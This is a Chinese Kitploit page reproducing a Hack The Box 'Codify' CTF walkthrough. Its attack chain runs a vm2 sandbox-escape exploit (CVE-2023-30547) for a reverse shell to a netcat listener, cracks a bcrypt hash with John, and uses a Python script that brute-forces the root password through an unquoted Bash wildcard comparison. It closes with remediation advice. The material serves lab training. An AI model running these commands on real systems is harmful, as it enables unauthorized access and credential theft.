Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Codify-TJNULL-OSCP- — Codify(Linux - Easy)的演练。利用 vm2 RCE(CVE-2023-30547)、SQLite 数据库哈希提取、使用 John 破解 Bcrypt,以及通过 `mysql-backup.sh` 中的 Bash 通配符比较进行权限提升。 | Kitploit
工具/GitHubGitHub/r3fr4kt/codify-tjnull-oscp-
权限提升密码攻击漏洞利用Web应用程序漏洞利用信息收集CTF渗透测试学习与教育
GitHubr3fr4kt/codify-tjnull-oscp-

Codify-TJNULL-OSCP-

Codify(Linux - Easy)的演练。利用 vm2 RCE(CVE-2023-30547)、SQLite 数据库哈希提取、使用 John 破解 Bcrypt,以及通过 `mysql-backup.sh` 中的 Bash 通配符比较进行权限提升。

查看仓库
18天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Hack The Box — Codify 通关解析

Difficulty OS Platform

针对 Hack The Box 平台 Codify 靶机的完整渗透测试演练与通关解析。


📌 靶机信息

字段值
名称Codify
操作系统Linux
难度简单
关键概念vm2 RCE(CVE-2023-30547)、SQLite 数据库枚举、Bcrypt 破解、Bash 通配符模式匹配滥用

🛠️ 摘要 / 攻击链

root@kitploit:~
[Nmap Scan: Ports 22, 80, 3000] ➡️ [Node.js Sandbox App (vm2) Detected]
                                      ⬇️
     [CVE-2023-30547: vm2 Sandbox Escape RCE] ➡️ [Reverse Shell as 'svc']
                                      ⬇️
  [SQLite Enum: /var/www/contact/tickets.db] ➡️ [Extract Joshua's Bcrypt Hash]
                                      ⬇️
     [John the Ripper (rockyou.txt)] ➡️ [SSH as 'joshua'] ➡️ [Read user.txt]
                                      ⬇️
   [Sudo Check: /opt/scripts/mysql-backup.sh] ➡️ [Wildcard Comparison Vulnerability]
                                      ⬇️
[Python Bruteforce Script] ➡️ [Extract Root MySQL Password] ➡️ [su root] ➡️ [Read root.txt]

🔍 第 1 阶段:信息收集与枚举

1. 端口发现

对所有 65,535 个 TCP 端口进行快速扫描,以发现开放的服务:

Bash

root@kitploit:~
nmap -Pn -n -sS -p- --min-rate 5000 --open <TARGET_IP>

2. 服务版本探测

对 22、80、3000 端口进行详细枚举:

Bash

root@kitploit:~
nmap -sVC -p 22,80,3000 <TARGET_IP>

💥 第 2 阶段:初步访问(立足点)

1. 利用 vm2 沙箱逃逸(CVE-2023-30547)

运行在 3000 端口的 Web 应用程序使用了存在漏洞的 Node.js vm2 沙箱库版本。

克隆公开的漏洞利用仓库:

Bash

root@kitploit:~
git clone [https://github.com/user0x1337/CVE-2023-30547](https://github.com/user0x1337/CVE-2023-30547)
cd CVE-2023-30547

2. 执行漏洞利用

在攻击机上启动本地 Netcat 监听器:

Bash

root@kitploit:~
ncat -lnvp 4444

执行针对存在漏洞的 Web 应用的漏洞利用脚本:

Bash

root@kitploit:~
python3 exploit.py --url "http://<TARGET_IP>:3000" --lhost <YOUR_IP> --lport 4444

验证你的初始立足点 Shell:

Bash

root@kitploit:~
whoami

🔎 第 3 阶段:内部枚举与横向移动

1. SQLite 数据库枚举

进入 Web 目录 /var/www/contact 并检查 SQLite 数据库:

Bash

root@kitploit:~
cd /var/www/contact
ls -la
sqlite3 tickets.db

提取 Joshua 的 bcrypt 哈希:

SQL

root@kitploit:~
SELECT password FROM users WHERE username='joshua';

(按 CTRL + d 退出)

2. 破解 Bcrypt 哈希

使用 John the Ripper 和 rockyou.txt 破解提取到的哈希:

Bash

root@kitploit:~
echo "<HASH_BCRYPT>" > hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

3. SSH 登录并获取用户 Flag

使用破解得到的 Joshua 凭据通过 SSH 登录:

Bash

root@kitploit:~
ssh joshua@<TARGET_IP>
cat user.txt

⚡ 第 4 阶段:权限提升

1. Sudo 权限枚举

查看用户 joshua 被允许执行的 sudo 命令:

Bash

root@kitploit:~
sudo -l

输出: (ALL : ALL) NOPASSWD: /opt/scripts/mysql-backup.sh

2. 分析备份脚本

查看 /opt/scripts/mysql-backup.sh:

Bash

root@kitploit:~
cat /opt/scripts/mysql-backup.sh

漏洞点: 该脚本在 Bash 中使用了未加引号的模式匹配([[ $USER_PASS == $DB_PASS* ]])。这允许用户输入中的通配符(*)对真实密码执行逐字符的暴力破解攻击。

3. 自动化密码提取(Python)

创建 bruteforce.py 以逐字符提取 root 密码:

Python

root@kitploit:~
import string
import subprocess

all_characters = list(string.ascii_letters + string.digits)
password = ""
found = False

while not found:
    for character in all_characters:
        # Test password + character + wildcard (*)
        command = f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh"
        output = subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout
        
        if "Password confirmed!" in output:
            password += character
            print(f"Found: {password}")
            break
    else:
        found = True

print(f"Root Password: {password}")

运行脚本以提取密码:

Bash

root@kitploit:~
python3 bruteforce.py

4. 获取 Root Flag

使用提取到的密码切换到 root 用户:

Bash

root@kitploit:~
su root
cat /root/root.txt

🛡️ 修复与缓解措施

  • 修补 Node.js 库: 弃用或升级存在漏洞的沙箱库,例如 vm2(CVE-2023-30547)。

  • 安全编写 Bash 脚本: 在字符串比较操作中始终对变量加引号([[ "$USER_PASS" == "$DB_PASS" ]]),以防止特权脚本中出现意外的模式匹配和通配符注入。

下载工具